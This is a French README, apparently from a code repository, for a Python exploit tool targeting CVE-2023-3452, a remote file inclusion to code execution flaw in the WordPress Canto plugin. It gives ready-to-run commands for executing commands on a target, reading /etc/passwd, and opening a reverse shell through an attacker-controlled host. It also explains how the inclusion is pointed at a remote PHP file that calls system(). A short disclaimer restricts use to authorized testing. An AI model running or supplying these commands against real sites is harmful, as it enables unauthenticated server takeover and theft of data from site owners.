
Exploit CVE-2023-3452 pour le plugin Canto WordPress RCE, support HTTPS inclus
Exploit pour la vulnérabilité RFI du plugin WordPress Canto (≤ 3.0.4). Fonctionne réellement sur HTTPS — les autres PoCs publics abandonnaient sur SSL.
Crédit là où il est dû : cette CVE a été trouvée par d'autres. J'ai juste créé une version qui ne casse pas sur les cibles HTTPS.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Type | Inclusion de fichier distant (RFI) → RCE non authentifiée |
| Affecté | Plugin Canto WordPress < 3.0.5 (≤ 3.0.4) |
| Découvert par | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| Emplacement | /wp-content/plugins/canto/includes/lib/download.php |
| Vecteur | wp_abspath est utilisé pour inclure des fichiers PHP sans aucune validation — nous incluons le nôtre à distance. |
La plupart des exploits pour cette CVE échouent sur HTTPS à cause de la vérification SSL. Ce script :
verify=False pour que les cibles HTTPS fonctionnent réellementrequestspip install -r requirements.txt
Ou simplement : pip install requests
python3 canto_exploit.py -t <URL_CIBLE> -l <VOTRE_IP> -p <VOTRE_PORT> [OPTIONS]
| Option | Description | Requis |
|---|---|---|
-t, --target | URL cible WordPress (HTTP ou HTTPS) | Oui |
-l, --lhost | Votre IP — la cible doit pouvoir vous joindre pour la payload | Oui |
-p, --lport | Port du serveur de payload (par défaut : 8888) | Non |
-c, --command | Commande à exécuter sur la cible | Non* |
--revshell | Lancer un reverse shell | Non |
--shell-port | Port d'écoute pour le reverse shell (par défaut : 4444) | Non |
-i, --interactive | Mode shell interactif | Non |
-v, --verbose | Sortie verbose | Non |
--skip-check | Ignorer la vérification de vulnérabilité | Non |
* Aucune commande = exécute id; whoami; hostname comme test de base
Commande unique :
python3 canto_exploit.py -t https://cible.com -l 10.10.14.33 -p 8888 -c "id"
Lire un fichier :
python3 canto_exploit.py -t https://cible.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse shell (lancez d'abord nc -lvnp 4444) :
python3 canto_exploit.py -t https://cible.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Mode interactif :
python3 canto_exploit.py -t https://cible.com -l 10.10.14.33 -p 8888 -i
Cible CTF HTTPS :
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt, analyse la version (≤ 3.0.4 = vulnérable)wp-admin/admin.php qui exécute votre commande via system()download.php avec wp_abspath=http://VOTRE_IP:VOTRE_PORT pour qu'il inclue notre PHP distantVOTRE_IP:VOTRE_PORT (pour HTB/labs, c'est votre IP VPN)-p)Tests autorisés et éducation uniquement. N'intervenez que sur des systèmes que vous avez le droit de tester. Tout autre usage est illégal.
MIT